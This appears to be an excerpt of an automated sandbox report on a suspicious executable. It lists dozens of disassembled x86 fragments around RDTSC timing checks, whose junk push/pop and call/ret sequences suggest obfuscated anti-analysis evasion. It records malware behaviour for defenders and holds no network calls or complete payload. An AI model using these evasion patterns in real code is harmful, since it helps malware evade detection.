Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18570DD second address: 1857149 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B54E8FCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5B54E8FCB8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 xor di, 528Bh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F5B54E8FCB8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 push 00000000h 0x0000004b mov edi, dword ptr [ebp+122D35B0h] 0x00000051 or esi, 3D10325Ah 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push esi 0x0000005b push esi 0x0000005c pop esi 0x0000005d pop esi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1857A32 second address: 1857A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B54D0936Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185874C second address: 1858756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5B54E8FCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1858756 second address: 185879E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5B54D09371h 0x0000000e nop 0x0000000f mov dword ptr [ebp+1246F17Dh], edi 0x00000015 push 00000000h 0x00000017 or dword ptr [ebp+1246F17Dh], edx 0x0000001d push 00000000h 0x0000001f mov esi, 53F35FBFh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F5B54D09375h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18592C3 second address: 18592C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1859CF3 second address: 1859CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1859CF9 second address: 1859CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185C39C second address: 185C3A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1859A17 second address: 1859A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5B54E8FCBCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1859A40 second address: 1859A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185C4C3 second address: 185C4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185C4C9 second address: 185C578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F5B54D09372h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F5B54D09368h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 jmp 00007F5B54D09375h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov ebx, dword ptr [ebp+122D3894h] 0x00000042 mov eax, dword ptr [ebp+122D0055h] 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F5B54D09368h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000018h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 mov ebx, dword ptr [ebp+122D3764h] 0x00000068 push FFFFFFFFh 0x0000006a jmp 00007F5B54D09376h 0x0000006f push eax 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185F442 second address: 185F448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186355D second address: 1863568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5B54D09366h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18615F0 second address: 18615F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1863568 second address: 186358B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B54D09385h 0x00000008 jmp 00007F5B54D09379h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1864CAD second address: 1864D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D2872h], ebx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 jbe 00007F5B54E8FCB7h 0x00000019 cld 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 jng 00007F5B54E8FCC2h 0x00000027 jns 00007F5B54E8FCBCh 0x0000002d mov eax, dword ptr [ebp+122D0F61h] 0x00000033 mov ebx, dword ptr [ebp+122D28CEh] 0x00000039 push FFFFFFFFh 0x0000003b mov edi, eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jng 00007F5B54E8FCCAh 0x00000046 jmp 00007F5B54E8FCC4h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186684A second address: 186686D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5B54D09372h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jg 00007F5B54D09366h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186686D second address: 1866872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186867D second address: 1868681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1868681 second address: 1868685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186B74F second address: 186B755 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186AA03 second address: 186AA13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186B755 second address: 186B7DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09378h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5B54D09368h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 xor di, 6972h 0x00000029 xor edi, dword ptr [ebp+122D352Ch] 0x0000002f mov edi, dword ptr [ebp+1246AFDBh] 0x00000035 push 00000000h 0x00000037 call 00007F5B54D09378h 0x0000003c mov bl, cl 0x0000003e pop edi 0x0000003f push 00000000h 0x00000041 jmp 00007F5B54D09378h 0x00000046 xchg eax, esi 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186B7DF second address: 186B80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54E8FCBEh 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c jo 00007F5B54E8FCD3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5B54E8FCC1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186C820 second address: 186C824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186C824 second address: 186C82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 186C82A second address: 186C8D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F5B54D09377h 0x00000011 mov dword ptr [ebp+1244759Ah], esi 0x00000017 pop ebx 0x00000018 mov edi, 36D1D523h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F5B54D09368h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 mov di, ax 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F5B54D09368h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 mov dword ptr [ebp+122D2D31h], edx 0x0000005e mov edi, dword ptr [ebp+122D330Eh] 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F5B54D09376h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18756B1 second address: 18756FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F5B54E8FCC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F5B54E8FCBDh 0x00000014 jl 00007F5B54E8FCB6h 0x0000001a popad 0x0000001b je 00007F5B54E8FCBEh 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 jnc 00007F5B54E8FCB6h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18756FB second address: 18756FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1874D5E second address: 1874D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1874F3F second address: 1874F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F5B54D09366h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5B54D09372h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1874F63 second address: 1874F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 187520F second address: 1875215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1875215 second address: 1875226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F5B54E8FCB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1875226 second address: 1875242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5B54D0936Dh 0x0000000a popad 0x0000000b ja 00007F5B54D09370h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1883F95 second address: 1883FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1883FAE second address: 1883FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1883FB9 second address: 1883FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1883FBF second address: 1883FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5B54D09372h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F5B54D09368h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1889756 second address: 1889796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ebx 0x0000000a jmp 00007F5B54E8FCC7h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F5B54E8FCB6h 0x00000018 jmp 00007F5B54E8FCC6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1889796 second address: 188979C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188979C second address: 18897B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B54E8FCBEh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18897B7 second address: 18897C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B54D0936Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1889DBD second address: 1889DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1889F0F second address: 1889F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5B54D09366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A314 second address: 188A39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBAh 0x00000007 jmp 00007F5B54E8FCC7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F5B54E8FCC7h 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007F5B54E8FCBFh 0x0000001b pushad 0x0000001c push edx 0x0000001d jmp 00007F5B54E8FCBEh 0x00000022 js 00007F5B54E8FCB6h 0x00000028 pop edx 0x00000029 push ecx 0x0000002a jno 00007F5B54E8FCB6h 0x00000030 jmp 00007F5B54E8FCBFh 0x00000035 pop ecx 0x00000036 pushad 0x00000037 jo 00007F5B54E8FCB6h 0x0000003d jmp 00007F5B54E8FCC1h 0x00000042 push edx 0x00000043 pop edx 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A656 second address: 188A68D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F5B54D09377h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F5B54D0937Ah 0x00000011 jmp 00007F5B54D09372h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A7FB second address: 188A7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A7FF second address: 188A807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A807 second address: 188A831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5B54E8FCC3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A831 second address: 188A842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F5B54D09366h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A842 second address: 188A84F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5B54E8FCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 188A84F second address: 188A85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F5B54D0936Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1894258 second address: 189425E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1892FF5 second address: 1893001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5B54D09366h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893001 second address: 189302C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5B54E8FCBBh 0x0000000b jl 00007F5B54E8FCB6h 0x00000011 jmp 00007F5B54E8FCBFh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189302C second address: 1893030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18932B9 second address: 18932BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893A32 second address: 1893A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5B54D09366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893A3C second address: 1893A48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F5B54E8FCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893A48 second address: 1893A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5B54D09366h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893A53 second address: 1893A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F5B54E8FCBBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893D14 second address: 1893D74 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B54D09385h 0x00000008 jmp 00007F5B54D09377h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F5B54D09368h 0x00000017 jmp 00007F5B54D09376h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1893D74 second address: 1893D79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1897767 second address: 189776C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189776C second address: 1897775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1897775 second address: 189777E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189777E second address: 1897784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189C472 second address: 189C477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189CC63 second address: 189CC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189CC68 second address: 189CC76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B54D0936Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189CC76 second address: 189CC99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 je 00007F5B54E8FCB6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189CC99 second address: 189CCC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09379h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5B54D0936Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D27C second address: 189D282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D282 second address: 189D286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D286 second address: 189D28A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D28A second address: 189D293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
